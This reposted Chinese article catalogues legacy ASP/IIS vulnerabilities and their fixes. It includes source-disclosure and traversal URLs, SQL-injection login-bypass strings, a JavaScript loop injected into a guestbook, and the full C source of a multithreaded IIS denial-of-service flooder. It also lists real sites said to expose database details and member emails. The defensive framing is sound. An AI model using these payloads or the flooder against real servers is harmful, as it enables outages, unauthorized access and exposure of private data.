ASP漏洞集-ASP漏洞區(qū)分與處理方法
發(fā)表時間:2024-02-08 來源:明輝站整理相關軟件相關文章人氣:
[摘要]1 在ASP程序后加個特殊符號,能看到ASP源程序 受影響的版本: win95+pws IIS3.0 98+pws4 不存在這個漏洞。 IIS4.0以上的版本也不存在這個漏洞! 栴}描述: 這些特殊符號包括小數(shù)點,%81, ::$DATA。比如:http://someurl/some...
1 在ASP程序后加個特殊符號,能看到ASP源程序
受影響的版本:
win95+pws
IIS3.0
98+pws4 不存在這個漏洞。
IIS4.0以上的版本也不存在這個漏洞。
問題描述:
這些特殊符號包括小數(shù)點,%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內(nèi)容)
那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢?
究其根源其實是 Windows NT 特有的文件系統(tǒng)在做怪。有一點常識的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統(tǒng):
NTFS,這種被稱之為新技術文件系統(tǒng)的技術使得 NT 具有了較高的安全機制,但也正是因為它而產(chǎn)生了不少令人頭痛的隱患。大家
可能不知道, NTFS 支持包含在一個文件中 的多數(shù)據(jù)流,而這個包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為"DATA",因此使得在瀏覽器
里直接訪問 NTFS 系統(tǒng)的這個特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導致 ::$DATA 的原因是由于 IIS 在
解析文件名的時候出了問題,它沒有很好地規(guī)范文件名。
解決方法和建議:
如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個問題。如果是win95用戶,安裝WIN98和PWS4.0。
2 ACCESS mdb 數(shù)據(jù)庫有可能被下載的漏洞
問題描述:
在用ACCESS做后臺數(shù)據(jù)庫時,如果有人通過各種方法知道或者猜到了服務器的ACCESS數(shù)據(jù)庫的路徑和數(shù)據(jù)庫名稱,那么他能夠
下載這個ACCESS數(shù)據(jù)庫文件,這是非常危險的。比如:如果你的ACCESS數(shù)據(jù)庫book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入:
http:// someurl/database/book.mdb
如果你的book.mdb數(shù)據(jù)庫沒有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。
解決方法:
(1) 為你的數(shù)據(jù)庫文件名稱起個復雜的非常規(guī)的名字,并把他放在幾目
錄下。所謂"非常規(guī)",打個比方:比如有個數(shù)據(jù)庫要保存的是有關書籍的信息,可不要把他起個"book.mdb"的名字,起個怪怪的名稱,比如d34ksfslf.mdb,再把他放在如
./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過猜的方式得到你的ACCESS數(shù)據(jù)庫文件就難上加難了。
(2)不要把數(shù)據(jù)庫名寫在程序中。有些人喜歡把DSN寫在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如萬一給人拿到了源程序,你的ACCESS數(shù)據(jù)庫的名字就一覽無余。因此建議你在ODBC里設置數(shù)據(jù)源,再在程序中這樣寫:conn.open "shujiyuan"
(3)使用ACCESS來為數(shù)據(jù)庫文件編碼及加密。首先在選取"工具->安
全->加密/解密數(shù)據(jù)庫,選取數(shù)據(jù)庫(如:employer.mdb),然后接確定,接著會出現(xiàn)"數(shù)據(jù)庫加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會被
編碼,然后存為employer1.mdb..
要注意的是,以上的動作并不是對數(shù)據(jù)庫設置密碼,而只是對數(shù)據(jù)庫文件加以編碼,目的是為了防止他人使用別的工具來查看數(shù)據(jù)庫文件的內(nèi)容。
接下來我們?yōu)閿?shù)據(jù)庫加密,首先以打開經(jīng)過編碼了的employer1.mdb,在打開時,選擇"獨占"方式。然后選取功能表的"工具->安全->設置數(shù)據(jù)庫密碼",接著輸入密碼
即可。
為employer1.mdb設置密碼之后,接下來如果再使用ACCEES數(shù)據(jù)庫文件時,則ACCESS會先要求輸入密碼,驗證正確后才能夠啟動數(shù)據(jù)庫。
不過要在ASP程序中的connection對象的open方法中增加PWD的參數(shù)即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的.
3 code.asp文件會泄漏ASP代碼
問題描述:
舉個很簡單的例子,在微軟提供的 ASP1.0 的例程里有一個 .asp 文件,專門用來查看其它 .asp 文件的源代碼,該文件為ASPSamp/Samples/code.asp。如果有人
把這個程序上傳到服務器,而服務器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如 :
code.asp?source=/directory/file.asp
不過這是個比較舊的漏洞了,相信現(xiàn)在很少會出現(xiàn)這種漏洞。
下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫過于asa文件可以被上述方式讀出;數(shù)據(jù)庫密碼以明文形式暴露在黑客眼前;
問題解決或建議:
對于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問該目錄即可
4、filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞
問題描述:
IIS3、 IIS4 的 ASP 的文件操作都可以通過 filesystemobject 實現(xiàn),包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等,但是這個強大的功能也留下了非常
危險的 "后門"。利用 filesystemobjet 可以篡改下載 fat 分區(qū)上的任何文件。即使是 ntfs 分區(qū),如果權限沒有設定好的話,同樣也能破壞,一不小心你就可能遭受"
滅頂之災 "。遺憾的是很多 webmaster 只知道讓 web 服務器運行起來,很少對 ntfs 進行權限 設置,而 NT 目錄權限的默認設置偏偏安全性又低得可怕。因此,如果
你是Webmaster,建議你密切關注服務器的設置,盡量將 web 目錄建在 ntfs 分區(qū)上,目錄不要設定 everyone full control,即使是是管理員組的成員一般也沒什么
必要 full control,只要有讀取、更改權限就足夠了。 也可以把filesystemobject的組件刪除或者改名。
5、輸入標準的HTML語句或者javascript語句會改變輸出結果
問題描述:
在輸入框中打入標準的HTML語句會得到什么相的結果呢?
比如一個留言本,我們留言內(nèi)容中打入:<font size=10>你好!</font>
如果你的ASP程序中沒有屏蔽html語句,那么就會改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時并不是什么壞事,反而可以使留言本生動。但是如果在輸
入框中寫個 javascript 的死循環(huán),比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新聞</a>
那么其他查看該留言的客人只要移動鼠標到"特大新聞",上就會使用戶的瀏覽器因死循環(huán)而死掉。
解決方法和建議:
編寫類似程序時應該做好對此類操作的防范,譬如可以寫一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript語句。
6、ASP程序密碼驗證漏洞
漏洞描述:
很多網(wǎng)站把密碼放到數(shù)據(jù)庫中,在登陸驗證中用以下sql,(以asp為例)
sql="select * from user where username='"&username&"'and pass='"& pass &'"
此時,您只要根據(jù)sql構造一個特殊的用戶名和密碼,如:ben' or '1'='1就可以進入本來你沒有特權的頁面。再來看看上面那個語句吧: sql="select * from
user where username='"&username&"'and pass='"& pass&'"
此時,您只要根據(jù)sql構造一個特殊的用戶名和密碼,如:ben' or '1'='1
這樣,程序將會變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"
or 是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那么等式將會成立.而在語言中,是以1來代表真的(成立).那么在這行語句中,原語句的"and"
驗證將不再繼續(xù),而因為"1=1"和"or"令語句返回為真值。
另外我們也可以構造以下的用戶名:
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相應的在瀏覽器端的用戶名框內(nèi)寫入:aa' or username<>'aa 口令框內(nèi)寫入:aa' or pass<>'aa,注意這兩個字符串兩頭是沒有'的。這樣就可以成功的騙過系統(tǒng)而
進入。
后一種方法理論雖然如此,但要實踐是非常困難的,下面兩個條件都必須具備。
1. 你首先要能夠準確的知道系統(tǒng)在表中是用哪兩個字段存儲用戶名和口令的,只有這樣你才能準確的構造出這個進攻性的字符
串。實際上這是很難猜中的。
2.系統(tǒng)對你輸入的字符串不進行有效性檢查。
問題解決和建議:
對輸入的內(nèi)容驗證和"'"號的處理。
7、IIS4或者IIS5中安裝有INDEX SERVER服務會漏洞ASP源程序
問題描述:
在運行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁面的程序。甚至以及添打了最近關
于參看源代碼的補丁程序的系統(tǒng),或者沒有.htw文件的系統(tǒng),一樣存在該問題。獲得asp程序,甚至global.asa文件的源代碼,無疑對系統(tǒng)是一個非常重大的安全隱患。往
往這些代碼中包含了用戶密碼和ID,以及數(shù)據(jù)庫的源路徑和名稱等等。這對于攻擊者收集系統(tǒng)信息,進行下一步的入侵都是非常重要的。
通過構建下面的特殊程序可以參看該程序源代碼:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
這樣只是返回一些html格式的文件代碼,但是當你添加%20到CiWebHitsFile的參數(shù)后面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
這將獲得該程序的源代碼。
。ㄗ⒁猓/default.asp是以web的根開始計算。如某站點的http:///welcome/welcome.asp
那么對應就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
由于'null.htw'文件并非真正的系統(tǒng)映射文件,所以只是一個儲存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕你已經(jīng)從你的系統(tǒng)中刪除了所有的真實的.htw文件,但是由于對
null.htw文件的請求默認是由webhits.dll來處理。所以,IIS仍然收到該漏洞的威脅。
問題解決或者建議:
如果該webhits提供的功能是系統(tǒng)必須的,請下載相應的補丁程序。如果沒必要,請用IIS的MMC管理工具簡單移除.htw的映象文件。
補丁程序如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、繞過驗證直接進入ASP頁面。
漏洞描述:
如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經(jīng)過驗證才能進去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗證.比如:我在
一些網(wǎng)站上這樣試過:首先關閉所有的瀏覽器,窗口,輸入:http://someurl/system_search.asp?page=1
就樣就看到了只能系統(tǒng)員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:
判斷session("system_name"),如果不為空時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號
,或者在本機上生成一個session,如session("system_name")="admi",那因為
session("system_name")不為空,這樣也能直接進入繞過密碼,直接進入管理員頁面。
解決方法:
在需要驗證的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。
9、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請求遠程DOS攻擊
漏洞描述:
當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊數(shù)據(jù)格式的URL,會拖慢受攻擊web服務器的響應速度,或許會使其暫時停止響應。
受影響的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞測試程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測試程序:
只要打入:iisdos<***.***.**.**>就能攻擊對方web服務器
問題解決:
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關連接
http://www.ussrback.com
10、 IIS web server DOS
漏洞描述:
默認情況下,IIS容易被拒絕服務攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對這種NT系統(tǒng)的攻擊通常能奏效。
"MaxClientRequestBuffer" 這個鍵用于設置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer"
設置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設置對此不加限制,因此,利用下面的程序?梢院苋菀椎貙IS
server實行DOS攻擊:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
[page_break]buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻擊結果將導致NT系統(tǒng)的CPU占用率達到 100%
解決方案
運行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設置為十進制
具體數(shù)值設置為你想設定的IIS允許接受的URL最大長度。
CNNS的設置為256
11、MS ODBC數(shù)據(jù)庫連接溢出導致NT/9x拒絕服務攻擊
漏 洞 描 述:
Microsoft ODBC數(shù)據(jù)庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數(shù)據(jù)庫相關)。
如果不取消連接而直接和第二個數(shù)據(jù)庫相連接,可能導致服務停止。
影響系統(tǒng):
ODBC 版本: 3.510.3711.0
ODBC Access驅動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測方法如下:
ODBC 連接源名稱: miscdb
ODBC 數(shù)據(jù)庫型號: MS Access
ODBC 假設路徑: d:\data\misc.mdb
ASP代碼如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在這種情況下,IIS處理進程將會停頓,CPU使用率由于inetinfo.exe進程將達到100%。只有重新啟動計算機才能恢復。
12、ASP主頁.inc文件泄露問題
漏洞描述:
受影響的版本:任何提供ASP服務的系統(tǒng)
遠程:YES / 本地:YES
內(nèi)容摘要:
當存在asp的主頁正在制作并沒有進行最后調試完成以前,可以被某些搜索引擎機動追加為搜索對象,如果這時候有人利用搜索引擎對這些網(wǎng)頁進行查找,會得到有關
文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫地點和結構的細節(jié)揭示完整的源代碼。
具體操作過程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 運行時刻錯誤執(zhí)行搜索" +".inc ," 的關鍵字
- 搜索引擎會自動查找包含asp的包含文件(.inc)并顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數(shù)據(jù)庫連接和性質, 資源地點, 小甜餅邏輯,服務器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數(shù)據(jù)庫性質
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點和結構
- http://www.bjsbabes.com/SFLib/design.inc
包括數(shù)據(jù)庫結構為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯
解決方案:
- 搜索引擎應該不索引有 asp 運行時刻錯誤的頁
- 程序員應該在網(wǎng)頁發(fā)布前對其進行徹底的調試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們
asp 新聞組、站點提供兩個解決方案對這個漏洞進行修正,首先對 .inc 文件內(nèi)容進行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀
看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認的或者有特殊含義容易被用戶猜測到的,盡量使用無規(guī)則的英文字母。
13、利用Activer server explorer可對文件進行讀寫訪問
漏洞描述:
chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如
.txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務器上的文件。
Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標服務器上的某個目錄,并且這個目錄
支持ASP的話,那么他就可以通過Activer server explorer修改、執(zhí)行目標服務器上的文件。這種情況可以發(fā)生在一個攻擊者擁有目標NT服務器上的一個可寫目錄帳號,
并且這個目錄又支持ASP。比如一些支持ASP的個人免費主頁服務器,把Activer server explorer先傳上你申請的免費主頁空間,再通過各種方法得到目標服務器的路徑
,(比如可通過漏洞:"請求不存在的擴展名為idq或ida 文件,會暴露文件在服務器上的物理地址.").或者直接在相對路徑上填".",一般是默認。這樣攻擊者就能任意修
改,執(zhí)行目標服務器上的文件,不管他對這個文件有無讀寫訪問權。
所以那些提供有ASP服務的個人主頁或者其它服務的服務器,就要加倍小心這種攻擊了。
漏洞解決方法
其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。
那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對象呢?一種極端的做法是完全反注冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方
法如下:
在MS-DOS狀態(tài)下面鍵入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在實際操作的時候要更改成為你本地的實際路徑)
但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什么辦法能
兩全其美呢?
我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
方法如下:
查找注冊表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值
將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
這樣,在ASP就必須這樣引用這個對象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。
只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject對象,
而我們自己仍然可以使用這個對象來方便的實現(xiàn)網(wǎng)站在線管理等等功能了!
14、 IIS4.0/IIS5.0超長文件名請求存在漏洞
漏洞描述:
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
當在一個已知的文件名后加230個"%20"再加個.htr,會使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內(nèi)容。這是由ISM.dll映射的.htr文件引起的.比如:
http://target/filename%20<重復230次>.htr
這種請求只有當.htr請求是第一次調用或者ISM.dll第一次裝載進內(nèi)存,才能起作用。
解決方法:
安裝補。
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe